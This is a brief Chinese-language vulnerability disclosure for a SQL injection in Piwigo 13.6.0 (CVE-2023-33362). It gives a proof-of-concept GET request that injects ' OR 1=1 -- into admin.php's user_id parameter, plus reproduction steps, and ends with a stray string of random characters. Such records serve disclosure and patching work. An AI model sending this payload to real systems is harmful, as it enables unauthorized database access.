漏洞标题：Piwigo 13.6.0 - SQL注入
日期：2025-11-25
漏洞作者：CodeSecLab
软件商主页： github.com/Piwigo/Piwi…
软件链接：github.com/Piwigo/Piwi…
版本：13.6.0
测试环境：Windows
CVE：CVE-2023-33362
概念验证：
GET /admin.php?page=profile&user_id=' OR 1=1 -- HTTP/1.1
Host: piwigo
复现步骤：
- 以管理员用户身份登录。
- 发送上述请求。
- 观察结果。 eQ7SPjxu3wq/iZYjEnW1MGmV38jUHbHn2zgMGOH0b6HX88G3Bid6YZy0EvGAkKdU
